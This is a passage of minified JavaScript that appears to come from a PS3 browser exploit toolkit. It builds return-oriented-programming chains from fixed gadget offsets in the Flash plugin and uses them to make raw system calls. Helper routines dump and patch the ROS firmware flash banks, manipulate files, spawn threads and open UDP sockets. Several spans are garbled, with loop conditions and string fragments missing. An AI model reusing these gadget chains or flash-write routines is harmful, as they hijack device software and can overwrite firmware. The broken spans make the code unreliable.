helper.heap.queue(e),set_r29_r31()+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr+4)+fill(96,helper.dbyte41)+hexw2bin(e)+fill(28,helper.dbyte41)+hexdw2bin(null)+fill(8,helper.dbyte41)+hexdw2bin(null)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function move_r8_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget22_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r9_r10_r11_words(0,0,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function move_r5_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget23_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r9_r10_r11_words(0,0,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function store_r3_dword(e,r){return set_r9_r10_r11_words(0,e,0)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget20_addr)+fill(96,helper.dbyte41)+hexdw2bin(r)}function store_r4_dword(e,r){return move_r4_into_r3()+store_r3_dword(e,r)}function store_r5_dword(e,r){return move_r5_into_r3()+store_r3_dword(e,r)}function store_r6_dword(e,r){return move_r6_into_r3()+store_r3_dword(e,r)}function store_r7_dword(e,r){return move_r7_into_r3()+store_r3_dword(e,r)}function store_r8_dword(e,r){return move_r8_into_r3()+store_r3_dword(e,r)}function store_r9_dword(e,r){return move_r9_into_r3()+store_r3_dword(e,r)}function store_r10_dword(e,r){return move_r10_into_r3()+store_r3_dword(e,r)}function restore_toc(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget8_addr)+fill(16,0)+hexdw2bin(e)+fill(64,helper.dbyte41)}function store_r3_word(e,r){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget11_addr+4)+fill(96,helper.dbyte41)+hexdw2bin(e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget11_addr)+fill(96,helper.dbyte41)+hexdw2bin(r)}function syscall(e,r,t,s,o,l,n,a,i,p,d,h,c,_,f,u){return set_r30_r31()+set_r3to11(0,0,s,o,l,n,a,i,e)+set_r30_r31(r,t)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget16_addr)+fill(128,helper.dbyte41)+hexdw2bin(p)+hexdw2bin(d)+hexdw2bin(h)+hexdw2bin(c)+hexdw2bin(_)+hexdw2bin(f)+hexdw2bin(u)}function syscall32(e,r,t,s,o,l,n,a,i){return set_r30_r31()+set_r3to11(r,t,s,o,l,n,a,i,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget9_addr)+fill(104,helper.dbyte41)}function call_subByOpd(e,r,t,s,o,l,n,a,i){return set_r30_r31()+set_r3to11(r,t,s,o,l,n,a,i,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function call_sub(e,r,t,s,o,l,n,a,i,p){r=helper.heap.store(e.toString32()+r.toString32());return helper.heap.queue(r),call_subByOpd(r,t,s,o,l,n,a,i,p)}function callsub(e,r,t,s,o,l,n,a,i,p,d,h,c,_){return h<96&&helper.error("callsub cannot use the gadget at 0x"+e.toString(16)+" because its frame size is < 0x"+96..toString(16)),restore_toc(r)+set_r30_r31()+set_r3to11(t,s,o,l,n,a,i,p,d)+fill(16,helper.dbyte41)+hexdw2bin(e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.fptoc_addr)+fill(h-56,0)+hexdw2bin(_)}function call(e,r,t,s,o,l,n,a,i){return helper.rop.rrun(call_subByOpd(e,r,t,s,o,l,n,a,i))}function callf(e,r,t,s,o,l,n,a,i){return call(helper.memory.upeek32(helper.gadgets_box.fpdbase+e),r,t,s,o,l,n,a,i)}function get_stat(e){var r=helper.heap.store(128);return helper.heap.queue(r),0!==libc.stat(e,r)?(console.log("stat failed: errno "+libc.Geterrno()),0):r}function fsitem_exists(e){var r=helper.heap.store(e,!0),t=helper.heap.store(128),e=libc.stat(r,t);return helper.heap.free([r,t]),0===e}function fsitem_getsize(e){var r=helper.heap.store(128),t=helper.heap.store(e,!0),s=helper.rop.rrun(syscall32(helper.sc_fs_stat,t,r)),e=2147483648<=(e=helper.memory.upeek32(r+helper.stat_size_offset))?0:e;return helper.heap.free([r,t]),0!==s?(Logger.error("fsitem_getsize stat error: 0x"+s),-1):e}function getSHA256hash(e,r){var t=helper.heap.store(32),r=sdk.cellCryptoPuSha256Hash(t,e,r);console.log("getSHA256hash: "+r);r=helper.memory.upeeks(t,32,!1);return helper.heap.free([t]),r.toUpperCase()}function getSHA1hash(e,r){var t=helper.heap.store(20),r=(sdk.cellCryptoPuSha1Hash(t,e,r),helper.memory.upeeks(t,20,!1));return helper.heap.free([t]),r}function makeDir(e){var r=helper.heap.store(e,!0),r=libc.mkdir(r);return helper.heap.free([e]),r}function removeDir(e){var r=helper.heap.store(e,!0),r=libc.rmdir(r);return helper.heap.free([e]),r}function deleteFile(e){var r=helper.heap.store(e,!0),r=libc.unlink(r);return helper.heap.free([e]),r}function moveFile(e,r){var t=copyFile(e,r);return 0===t&&(r=helper.heap.store(e,!0),t=libc.unlink(r),helper.heap.free([e])),t}function copyFile(o,l,e,n){var a=new fileObject(o),i=new fileObject(l,helper.fs_flag_create_append_rw),p=-1,d=-1;function h(){p=a.close(),d=i.close(),0===p&&0===d?(Logger.info("copyFile: Files closed successfully"),0):0!==p?Logger.error("copyFile: Closing Error 0x"+p.toString(16)+" on source file "+o):Logger.error("copyFile: Closing Error 0x"+d.toString(16)+" on destination file "+l),e&&n&&$.Deferred().done(e).resolve(n)}function r(){n=toast("Copying file","warning",300);var e=helper.swf.getMaxAvailableBufferAllocSize();if(a.size>e){for(var r=Math.floor(a.size/e),t=a.size-r*e,s=0;sFile loading error"):Logger.info("File Object load: Data loaded successfully"),o},this.save=function(e,r,t,s){var o=2415919103,l=e||this.buffer;if(536870912r?o=2332033023:r<=0&&(o=2365587455);return 0!==o?Logger.error("File Object save: error 0x"+o.toString(16)):Logger.info("File Object save: Data saved successfully"),o}},ROSHashObject=function(e,r){if(this.error={code:0,msg:""},!e||!r)return this.error.code=2415919098,void(this.error.msg="ROSHashObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code){var t=28672/helper.step_sector,s=8*t+64+16,o=r.tls.offset;libc.memset(o,255,s),this.ret=[],this.rlen=[],this.log=[],this.sfx=[];var l=r.dump_start,n=r.data_buffer.offset;this.log[0]="Multithreaded ROS banks Hashing Operations:
    Storage Object read - Number of Sectors: 0x"+28672..toString(16);for(var a="",i=0;iStorage Object read - Current Sector: 0x"+l.toString(16)+"
    Storage Object read - Current Memory Buffer Offset: 0x"+n.toString(16),l+=helper.step_sector,n+=helper.step_sector*e.sector_size;this.log[0]+="
    Storage Object read operation complete",this.sfx[0]=a,this.hash_r0=o,this.hash_r1=o+32;var p=e.is_nor(),d=p?16:48,s=p?7340048:7340064;Logger.info("ROSHashObject: ROS0 SHA256 Calculation Start Offset: 0x"+(r.data_buffer.offset+d).toString(16)),Logger.info("ROSHashObject: ROS0 SHA256 Hash Offset: 0x"+this.hash_r0.toString(16)),Logger.info("ROSHashObject: ROS1 SHA256 Calculation Start Offset: 0x"+(r.data_buffer.offset+s).toString(16)),Logger.info("ROSHashObject: ROS1 SHA256 Hash Offset: 0x"+this.hash_r1.toString(16)),a=p?"":vset_r30_r31()+vset_r30_r31()+vset_r30_r31()+vcall_subByOpd(helper.vshgadgets_box.memset_opd_addr,r.data_buffer.offset+7340032+helper.patchfile_size,0,32),a+=vset_r30_r31()+vset_r30_r31()+vset_r30_r31()+vcall_subByOpd(helper.vshgadgets_box.sdk_C7781115_opd_addr,this.hash_r1,r.data_buffer.offset+s,helper.patchfile_size),this.log[1]+="
    Calculated ROS 1 Hash",this.sfx[1]=a;s=vset_r30_r31()+vset_r30_r31()+vset_r30_r31(),a=p?"":s+vcall_subByOpd(helper.vshgadgets_box.memset_opd_addr,r.data_buffer.offset+helper.patchfile_size,0,48);a+=s+vcall_subByOpd(helper.vshgadgets_box.sdk_C7781115_opd_addr,this.hash_r0,r.data_buffer.offset+d,helper.patchfile_size),this.log[2]+="
    Calculated ROS 0 Hash",this.sfx[2]=a}else this.error.msg+="Storage Object cannot open"},patchObject=function(e,r){if(this.error={code:0,msg:""},!e||!r)return this.error.code=2415919098,void(this.error.msg="patchObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code){var t=r.sector_count/helper.step_sector/2,s=2*t*8,o=r.data_buffer.offset+r.data_buffer.size-1048576;libc.memset(o,255,s),this.ret=[],this.wlen=[],this.log=[],this.sfp=[];for(var l=0,n=0,a="",i=0;i<2;i++){l=0===i?r.data_buffer.offset+r.offset_data.ros0:r.data_buffer.offset+r.offset_data.ros1,n=r.patch_start+i*(r.sector_count/2),this.log[i]+="Patch Object mt_write - Operation "+i.toString()+" - Number of Sectors: 0x"+(r.sector_count/2).toString(16)+" - Sector Start: 0x"+n.toString(16),this.wlen[i]=[],this.ret[i]=[];for(var p=0;pStorage Object write - Current Sector: 0x"+n.toString(16)+"
    Storage Object write - Current Memory Buffer Offset: 0x"+l.toString(16),l+=helper.step_sector*e.sector_size,n+=helper.step_sector;this.log[i]+="
    Patch Object mt_write - Operation "+i.toString()+" Completed",this.sfp[i]=a,a=""}this.log[1]+="
    Patch Object Operations complete"}else this.error.msg+="Storage Object cannot open"},dumpObject=function(e,r,t){if(this.error={code:0,msg:""},!e||!t)return this.error.code=2415919098,void(this.error.msg="dumpObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code)if(this.error.code=r.open(helper.fs_flag_create_rw),0===this.error.code){t.nsec_iter=t.nsec_iter*e.sector_size<=t.buffer.size?t.nsec_iter:t.buffer.size/e.sector_size;var s=parseInt(t.dump_start)===t.dump_start?t.dump_start:0,o=Math.floor(t.sector_count/t.nsec_iter),l=t.sector_count-o*t.nsec_iter,n=Math.floor(t.nsec_iter/helper.step_sector),a=Math.floor(l/helper.step_sector),i=l-a*helper.step_sector,p=t.nsec_iter-n*helper.step_sector;if(0===o)this.error.code=2415919103,this.error.msg+="Arguments error: obj.sector_count % obj.nsec_iter must be 0 & obj.sector_count>obj.nsec_iter";else{var d=(o+1)*(n+1)*8+12*(o+1)+8*(a+1),h=t.tls.offset;libc.memset(h,255,d),this.rret=[],this.rlen=[],this.wret=[],this.wlen=[],this.log=[],this.sfr=[],this.sfw=[];var c=0";for(var f="",u=0;uDump Object mt_read - Number of Sectors: 0x"+t.nsec_iter.toString(16),this.rret[u]=[],this.rlen[u]=[];for(var g=0;gDump Object mt_read - Current Sector: 0x"+s.toString(16)+"
    Dump Object mt_read - Current Memory Buffer Offset: 0x"+_.toString32(),s+=helper.step_sector,_+=helper.step_sector*e.sector_size;0Dump Object mt_read - Current Sector: 0x"+s.toString(16)+"
    Dump Object mt_read - Current Memory Buffer Offset: 0x"+_.toString32(),s+=p,_+=p*e.sector_size),this.sfr[u]=f,this.log[u]+="
    Dump Object mt_read operation complete
    Dump Object mt_save: Save Operations - Data Size 0x"+c.toString(16)+" Buffer offset 0x"+(t.buffer.offset+t.save_offset).toString32()+"
    Dump Object mt_save: Save Operations - Complete",this.wlen[u]=h,this.wret[u]=h+8,h+=12,f=vsyscall32(helper.sc_fs_write,r.fd,t.buffer.offset+t.save_offset,c,this.wlen[u])+vstore_r3_word(this.wret[u]),this.sfw[u]=f}if(0Dump Object mt_read - Number of Sectors: 0x"+t.nsec_iter.toString(16),this.rret[o]=[],this.rlen[o]=[],g=0;gDump Object mt_read - Current Sector: 0x"+s.toString32()+"
    Dump Object mt_read - Current Memory Buffer Offset: 0x"+_.toString32(),s+=helper.step_sector,_+=helper.step_sector*e.sector_size;0Dump Object mt_read - Current Sector: 0x"+s.toString32()+"
    Dump Object mt_read - Current Memory Buffer Offset: 0x"+_.toString32(),s+=i,_+=i*e.sector_size),this.sfr[o]=f,this.log[o]+="
    Dump Object mt_read operation complete
    Dump Object mt_save: Save Operations - Data Size 0x"+c.toString(16)+" Buffer offset 0x"+(t.buffer.offset+t.save_offset).toString32()+"
    Dump Object mt_save: Save Operations - Complete",this.wlen[o]=h,this.wret[o]=h+8,h+=12,f=vsyscall32(helper.sc_fs_write,r.fd,t.buffer.offset+t.save_offset,d,this.wlen[o])+vstore_r3_word(this.wret[o])+"",this.sfw[o]=f}}}else this.error.msg+="File Object in mode RW cannot open";else this.error.msg+="Storage Object cannot open"},storageObject=function(){this.device_handle=-1,this.current_sector=0,this.step_sector=helper.step_sector,this.buffer={offset:0,size:0};var c=helper.heap.store();this.totalsec=0,this.sector_size=0;var _=is_norflash();this.flash_type=_?UInt64("0100000000000004"):UInt64("0100000000000001"),this.is_nor=function(){return _},this.open=function(){var e=0;if(this.device_handle<=0){var r=helper.heap.store();e=helper.rop.rrun(syscall(helper.sc_sso,this.flash_type,0,r));var t=helper.memory.upeek32(r);if(helper.heap.free([r]),0!==e||t<=0)return Logger.error("Storage Object open: failed to open"),this.device_handle=-1,e;Logger.info("Storage Object opened"),this.device_handle=t,0!==this.totalsec&&0!==this.sector_size||(Logger.info("Storage Object get_device_info"),t=helper.heap.store(64),e=helper.rop.rrun(syscall(helper.sc_ssgdi,this.flash_type,t)),this.totalsec=helper.memory.upeek32(t+44),this.sector_size=helper.memory.upeek32(t+48),Logger.info("Storage Object Sector size: 0x"+this.sector_size.toString(16)+" bytes - Total Number of Sectors: 0x"+this.totalsec.toString(16)),helper.heap.free([t]),0!==e&&Logger.error("Storage Object get_device_info: failed to get data"))}return e},this.read=function(e,r,t){var s="Storage Object read - Number of Sectors: 0x"+e.toString(16),o=-1;if(0!==this.open()||this.device_handle<=0)return Logger.error("Storage Object read aborted"),o;this.current_sector=r||this.current_sector;for(var l=eStorage Object read - Current Sector: 0x"+this.current_sector.toString(16)+"
    Storage Object read - Current Memory Buffer Offset: 0x"+i.toString(16),a=helper.memory.upeek32(c),(0!==o||aStorage Object read error:"+o?" 0x"+o.toString(16):" failed to read "+l.toString(16)+" sectors - Number of sectors read: 0x"+a.toString(16)),this.current_sector=this.current_sector+l,i+=l*this.sector_size;return 0Storage Object read - Current Sector: 0x"+this.current_sector.toString(16)+"
    Storage Object read - Current Memory Buffer Offset: 0x"+i.toString(16),a=helper.memory.upeek32(c),(0!==o||aStorage Object read error:"+o?" 0x"+o.toString(16):" failed to read "+r.toString(16)+" sectors - Number of sectors read: 0x"+a.toString(16)),this.current_sector=this.current_sector+r,i+=r*this.sector_size),s+="
    Storage Object read operation complete",Logger.info(s),o},this.write=function(e,r,t){var s="Storage Object write - Number of Sectors: 0x"+e.toString(16),o=-1;if(0!==this.open()||this.device_handle<=0)return Logger.error("Storage Object write aborted"),o;for(var l=eStorage Object write - Current Sector: 0x"+(p+h*l).toString(16)+"
    Storage Object write - Current Memory Buffer Offset: 0x"+d.toString(16),i=helper.memory.upeek32(c),0===o&&i===l||(s+=0<"
    Storage Object write error:"+o?" 0x"+o.toString(16):" failed to write "+l.toString(16)+" sectors - Number of sectors written: 0x"+i.toString(16)),this.current_sector=this.current_sector+l,d+=l*this.sector_size;return 0Storage Object write - Current Sector: 0x"+(p+e-a).toString(16)+"
    Storage Object write - Current Memory Buffer Offset: 0x"+d.toString(16),i=helper.memory.upeek32(c),0===o&&i===a||(s+=0<"
    Storage Object write error:"+o?" 0x"+o.toString(16):" failed to write "+a.toString(16)+" sectors - Number of sectors written: 0x"+i.toString(16)),0===o&&i!==a&&(o=2415919103),this.current_sector=this.current_sector+a,d+=a*this.sector_size),s+="Storage Object write operation complete",Logger.info(s),o},this.close=function(e){var r=0;return 0Path: "+r,o+=DownloadURL_sf(e,r),this.sfd[0]=o},LoadPluginById=function(e,r){return 0===getXMM0IF()?call(helper.memory.upeek32(helper.xmm0_interface+12),e,r,0):-1},ClosePluginById=function(e,r){return 0===getXMM0IF()?call(helper.memory.upeek32(helper.xmm0_interface+20),e,r,1):-1},UnloadPluginById=function(e,r){return helper.xmm0_interface=0Processing folders: files:

    "+e+"

    ",r)},infoDialog=function(e,r,t,s){guiDialog([{text:"OK",icon:"ui-icon-check",click:function(e,r){t&&$.Deferred().done(t).resolve(s),clean_guiDialog()}}],e,r)},guiDialog=function(e,r,t){var s=$("#dg-text"),o=$("#dg-confirm");s.html(r),o.dialog({resizable:!1,dialogClass:"no-close",title:t,height:"auto",show:{effect:"fade",duration:1e3},hide:{effect:"fade",duration:1e3},width:500,modal:!0,buttons:e}),setTimeout(function(){var e=$("#dg-confirm").parent().find(".ui-dialog-buttonpane");e.hover(function(){e.find(".ui-button").blur()})},1)},toast=function(e,r,t,s,o){return $().toastmessage("showToast",{inEffectDuration:600,stayTime:1e3*t,text:e,position:"top-right",type:r,closeText:"",close:function(){s&&$.Deferred().done(s).resolve(o)}})},getToken=function(){return token},getPlugin=function(){return btoa(navigator.plugins[0].filename)},getHMAC=function(e,r){r=new sjcl.misc.hmac(sjcl.codec.hex.toBits(e),sjcl.hash.sha256).mac(sjcl.codec.hex.toBits(r));return sjcl.codec.hex.fromBits(r)},hkdf=function(e,r,t){return sjcl.codec.hex.fromBits(sjcl.misc.hkdf(sjcl.codec.base64.toBits(e),256,sjcl.codec.hex.toBits(r),t))},aes_decrypt=function(e,r,t,s){if(s&&s.length)throw new sjcl.exception.invalid("cbc data authentication error");if(128!==sjcl.bitArray.bitLength(t))throw new sjcl.exception.invalid("cbc iv must be 128 bits");if(127&sjcl.bitArray.bitLength(r)||!r.length)throw new sjcl.exception.corrupt("cbc ciphertext must be a positive multiple of the block size");var o,l,n,a=sjcl.bitArray,i=a._xor4,p=[];for(s=s||[],o=0;o0?"Time elapsed: "+s+"mn "+r+"s":"Time elapsed: "+r+"s"};function getMaxAvailableBuffer(){var e=helper.swf.getMaxAvailableBufferAllocSize();return helper.buffer.create(e-e%65536)}function processJobList(e){var t=[],r=[];$.each(e,function(e,s){"file"===s.type?t.push(s):"folder"===s.type&&r.push(s)}),r.length>0&&makeDirectories(r),t.length>0&©Dispatcher(t)}function deleteFiles(e){for(var t=0;t4294967295?(r.error.code=2415919103,r.error.msg+="File Object in mode RO - supports file up to 4Gb max",t.errors.push(r),!0):void(s<=8192?t.no_thread.push(r):s<=helper.mbytes?t.one_thread.push(r):t.n_thread.push(r))}),setTimeout(function r(){t.errors.length+t.no_thread.length+t.one_thread.length+t.n_thread.length===e.length||setTimeout(r,500)},500)}function copyObject(e,t,r,s){this.error={code:0,msg:""};var o=new fileObject(e);if(0===o.size)return this.error.code=2415919103,void(this.error.msg+="File Object in mode RO - no data to copy");if(o.size>4294967295)return this.error.code=2415919103,void(this.error.msg+="File Object in mode RO - supports file up to 4Gb max");if(this.error.code=o.open(),0===this.error.code){var l=new fileObject(t);if(this.error.code=l.open(helper.fs_flag_create_append_rw),0===this.error.code){var n=Math.floor(o.size/r),i=o.size-n*r,a=helper.heap.store(helper.sem_attr_fifo),p=4+24*(n+1),c=helper.heap.store(p);stdc.memset(c,255,p);var d=c;c+=4;var u,h,g=[],f=[],_=[],m=[],x=[];helper.rop.run(syscall32(helper.sys_sem_create,d,a,0,1)),u=helper.memory.upeek32(d);var b=h=syscall32(helper.sys_sem_wait,u,0),y=syscall32(helper.sc_fs_read,o.fd,s,286331153,572662306)+store_r3_word(858993459),v=y.substr(0,520),C=y.substr(536,672),D=y.substr(1216),F=syscall32(helper.sc_fs_write,l.fd,s,286331153,572662306)+store_r3_word(858993459)+h,S=F.substr(0,520),k=F.substr(536,672),w=F.substr(1216);x[0]="Multithreaded File Copy Operations:
    Thread BGXPLOIT_FXCOPY created
    ";for(var E=0;ECopy Object mt_read - Current File Offset: 0x"+(E*r).toString32()+"
    Copy Object mt_write - Data Written: 0x"+r.toString32();if(i>0&&(g[n]=c,f[n]=c+4,_[n]=c+8,m[n]=c+16,c+=24,b+=v+_[n].toString32()+i.toString32()+C+g[n].toString32()+D+S+m[n].toString32()+i.toString32()+k+f[n].toString32()+w,x[n]+="
    Copy Object mt_read - Current File Offset: 0x"+(n*r+i).toString32()+"
    Copy Object mt_write - Data Copied: 0x"+i.toString32()+" bytes"),(b+=syscall32(helper.sc_fs_close,o.fd)+syscall32(helper.sc_fs_close,l.fd)+h).length/2%8!=0)return this.error.code=1717986918,void(this.error.msg+="Invalid SF size: 0x"+(b.length/2).toString(16)+" bytes");x[n]+="
    Copy Object Operations complete";var B=createThreadwithOPD(b,0,"BGXPLOIT_FXCOPY",200,2048,prep_threading());0===B.tid&&(this.error.code=2004318071,this.error.msg+="Thread Creation Error"),this.thread_object={tid:B.tid,rret:g,wret:f,log:x,stack_offset:B.stack_offset,sem_id:u,rlen:_,wlen:m}}else this.error.msg+="File Object in mode RW cannot open"}else this.error.msg+="File Object in mode RO cannot open"}var string=function(e,t){var r=function(e){if(e)return e;throw Error("string object deleted")},s=!0===t||!1!==t,o=e||"";if(!1===s&&o.length%2>0)throw Error("string invalid argument");var l=s?e.length+1:e.length/2,n=helper.heap.store(e,s);this.offset=function(){return r(n)},this.length=function(){return s?r(l)-1:r(l)},this.peek=function(){return!0===s&&r(l)<2||!1===s&&r(l)<1?"":helper.memory.upeeks(r(n),s?l:l-1,s)},this.poke=function(e,t){if(null==e||!1===t&&e.length%2>0)throw Error("string poke null or invalid argument");o=e,((s=!0===t||!1!==t)?o.length+1:o.length/2)>l?(helper.heap.free([r(n)]),n=helper.heap.store(o,s)):helper.memory.upokes(r(n),o,s),l=o.length+1},this.gc=function(){helper.heap.free([r(n)]),n=null,o=null,l=null}},u32=function(e){var t=function(e){if(e)return e;throw Error("u32 object deleted")},r=e?4294967295&parseInt(e):0,s=helper.heap.store(4);helper.memory.upoke32(t(s),r),this.offset=function(){return t(s)},this.peek=function(){return helper.memory.upeek32(t(s))},this.poke=function(o){if(null==o||"number"!=typeof e||o>4294967295)throw Error("u32 poke null or invalid argument");return r=4294967295&parseInt(o),helper.memory.upoke32(t(s),r),0},this.gc=function(){helper.heap.store([t(s)]),s=null,r=null}},u64=function(e){var t=function(e){if(e)return e;throw Error("u64 object deleted")},r=e?bigInt.isUInt64(e)?e:parseInt(e)===e?UInt64(parseInt(e)):UInt64(e):UInt64(0),s=helper.heap.store(r.toString64());this.offset=function(){return t(s)},this.peek=function(){return UInt64(helper.memory.upeeks(t(s),8))},this.poke=function(e){if(null==e||!bigInt.isUInt64(e)&&"number"!=typeof e&&!("string"==typeof e&&e.length<=16))throw Error("u64 poke null or invalid argument");r=bigInt.isUInt64(e)?e:UInt64(e),helper.memory.upokes(t(s),r.toString64())},this.gc=function(){helper.heap.store([t(s)]),s=null,r=null}},regexTester=function(e){var t=e;this.filename_notchar=function(){return/^[^\\/:\*\#~!?" <>\|]+$/.test(t)},this.start_notdot=function(){return/^\./.test(t)},this.filename_notforbidden=function(){return/^(nul|prn|con|lpt[0-9]|com[0-9])(\.|$)/i.test(t)}},validateFileName=function(e){var t=new regexTester(e);return e.length>255||!t.filename_notchar()||t.start_notdot()||t.filename_notforbidden()},UDPBroadcaster=function(e){if(helper.worker.udp||(helper.worker.udp=new workerThread("BGTOOLSET_WKR_UDP")),!helper.worker.udp||!helper.worker.udp.getTLS)return null;var t=e||{fd:-1,sock_addr:0,vsock_addr:helper.worker.udp.getTLS().offset,port:0},r=helper.worker.udp.getTLS().offset+256,s=!1,o=0;this.open=function(e){var r=0;t.port=e||t.port;var l=!1;function n(){if(t.fd=helper.rop.rrun(syscall32(helper.sys_net_socket,helper.AF_INET,helper.SOCK_DGRAM,0)),t.fd<0)return Logger.debug("UDPBroadcaster.open: socket creation call returned error 0x"+helper.memory.upeek32(sys_net.sys_net_errno_loc()).toString(16)),r=-1;var e=helper.heap.store();if(helper.memory.upoke32(e,1),r=helper.rop.rrun(syscall32(helper.sys_net_setsockopt,t.fd,65535,32,e,4)),helper.heap.free([e]),r<0)return Logger.debug("UDPBroadcaster.open: setsockopt call returned errno 0x"+helper.memory.upeek32(sys_net.sys_net_errno_loc()).toString(16)),r;l=!0}if(t.fd<0&&n(),t.sock_addr=helper.heap.store("1002"+parseInt(t.port).toString16()+helper.sFF32+helper.snull64),helper.memory.upokes(t.vsock_addr,"1002"+parseInt(t.port).toString16()+helper.sFF32+helper.snull64),t.sock_addr<2147483648)Logger.debug("UDPBroadcaster.open: failed to create sock_addr structure offset 0x"+t.sock_addr.toString(16)),this.close(),r=-1;else{Logger.debug("UDPBroadcaster.open: new socket created -> descriptor 0x"+t.fd.toString(16)),helper.cookies.set("udp_socket",t),s=!0;var a="\n>@bguerville's PS3 Toolset v"+helper.tversion+" - UDP Debug Broadcast: Hello ;-)\n>UDP Port: "+t.port+"\n>PS3 Socket ID: 0x"+t.fd.toString(16),p=helper.heap.store(a,!0);if(helper.rop.rrun(syscall32(helper.sys_net_sendto,t.fd,p,a.length,0,t.sock_addr,16))<0)n(),helper.rop.run(syscall32(helper.sys_net_sendto,t.fd,p,a.length,128,t.sock_addr,16));else if(!l){var c=helper.heap.store(8);(r=helper.rop.rrun(syscall32(helper.sys_net_getsockopt,t.fd,65535,32,c,c+4)))<0&&Logger.debug("UDPBroadcaster.open: getsockopt call returned errno 0x"+helper.memory.upeek32(sysnet.sys_net_errno_loc()).toString(16)),1!==helper.memory.upeek32(c)&&(n(),helper.rop.run(syscall32(helper.sys_net_sendto,t.fd,p,a.length,128,t.sock_addr,16))),helper.heap.free([c])}helper.heap.free([p])}return 0===r&&0===o&&(o=setInterval(i,2500)),r};var l="\n>PS3 Toolset v"+helper.tversion+" UDP Trace Broadcast: Good Bye";this.opened=function(){return s};var n="";function i(){n.length>0&&(clearInterval(o),o=0,a(n),n="")}this.send=function(e){t.fd<0?(n="",Logger.debug("UDPBroadcaster.send error: UDP connection not ready")):e.length>32768?Logger.debug("UDPBroadcaster.send overflowing error: resetting buffer"):n+="\n>"+e};var a=function(e){for(var s=Math.floor(e.length/1024),l=e.length-1024*s,n="",a=0;a0&&(n+=vsyscall32(helper.sys_net_sendto,t.fd,r+1024*s,l,128,t.vsock_addr,16)),helper.sm&&helper.worker.udp&&n.length>0&&helper.worker.udp.run(n,"BC Send Job",function(){helper.memory.upokes(helper.worker.udp.getTLS().offset+256,e,!0)},function(){Logger.debug("progress: UDP Job sent"),o=setInterval(i,2500)})};this.close=function(){if(t.fd>=0){o>0&&(clearInterval(o),o=0);var e=helper.heap.store(l,!0);Logger.debug("UDPBroadcaster.close: socket closing -> descriptor 0x"+t.fd.toString(16)+" sock_addr at 0x"+t.sock_addr.toString(16)),t.sock_addr>2147483648&&t.sock_addr<2415919104&&helper.rop.run(syscall32(helper.sys_net_sendto,t.fd,e,l.length,128,t.sock_addr,16)+syscall32(helper.sys_net_close,t.fd)),Logger.debug("UDPBroadcaster.close: socket closed -> descriptor 0x"+t.fd.toString(16)),helper.cookies.remove("udp_socket"),helper.heap.free([t.sock_addr,e]),s=!1,t.fd=-1,t.sock_addr=0,helper.bc=null}}};function fill(e,t){return hexh2bin(65535&t).repeat((e<2||e%2==1?e+1:e)/2)}function hexh2bin(e){var t=null==e?0:e;return t.toString16||Logger.error("hexw2bin: bad argument "+typeof t),t.toString16()}function hexw2bin(e){var t=null==e?0:e;return t.toString32||Logger.error("hexw2bin: bad argument "+typeof t),t.toString32()}function hexdw2bin(e){return u64_errchck("hexdw2bin",e=null==e?helper.gtemp_addr:e),e.toString64()}function vhexdw2bin(e){return helper.vtemp_addr=helper.vtemp_addr>0?helper.vtemp_addr:allocator.malloc(4096)+2048,u64_errchck("vhexdw2bin",e=null==e?helper.vtemp_addr:e),e.toString64()}function u64_errchck(e,t){!0===bigInt.isInstance(t)&&t.bitLength()>64&&helper.error(e+": integers > 64 bit are not supported by this function")}function Gadgets(){var e=helper.swf.getFP9TBase();this.fpdbase=helper.swf.getFP9DBase(),this.fptoc_addr=helper.swf.getFP9TOC(),this.ugadget1_addr=e+521156,this.ugadget2_addr=e+5384,this.ugadget3_addr=e+1774560,this.ugadget4_addr=e+1223552,this.ugadget5_addr=e+209416,this.ugadget6_addr=e+15656,this.ugadget7_addr=e+427072,this.ugadget8_addr=e+521160,this.ugadget9_addr=e+785312,this.ugadget10_addr=e+2545104,this.ugadget11_addr=e+5049600,this.ugadget12_addr=e+459124,this.ugadget13_addr=e+3434548,this.ugadget14_addr=e+4136204,this.ugadget15_addr=e+841316,this.ugadget16_addr=e+740276,this.ugadget17_addr=e+11604,this.ugadget18_addr=e+759384,this.ugadget19_addr=e+1761124,this.ugadget20_addr=e+2540892,this.ugadget21_addr=e+4125300,this.ugadget22_addr=e+915392,this.ugadget23_addr=e+5088440,this.ugadget24_addr=e+719456,this.ugadget25_addr=e+916128,this.ugadget26_addr=e+1190248,this.ugadget27_addr=e+2924,this.ugadget28_addr=e+57036}var buffer=function(){this.create=function(e){var t=helper.swf.getMaxAvailableBufferAllocSize();return e>t&&helper.error("create: Total buffer data storage is 64Mb max"),e=e&&e<=t?e:t,{offset:helper.swf.allocBuffer(e),size:e}},this.free=function(e){$.each(Array.isArray(e)?e:[e],function(e,t){t>2147483648&&helper.swf.freeBuffer(t)})},this.reset=function(){helper.swf.clearBuffer()}},sysmem=function(){helper.wt_pool=[];var e=[],t=null,r=19922944,s=null;function o(){var e=helper.heap.store(8),o=(helper.rop.rrun(syscall32(helper.sys_memory_container_get_size,e,helper.browser_container)),helper.memory.upeek32(e+4));function l(e){var s=helper.heap.store(4),o=helper.rop.rrun(syscall32(helper.sys_memory_allocate_from_container,r,helper.browser_container,1024,s));if(o>0){Logger.debug("Browser memory container cannot provide any RAM");var 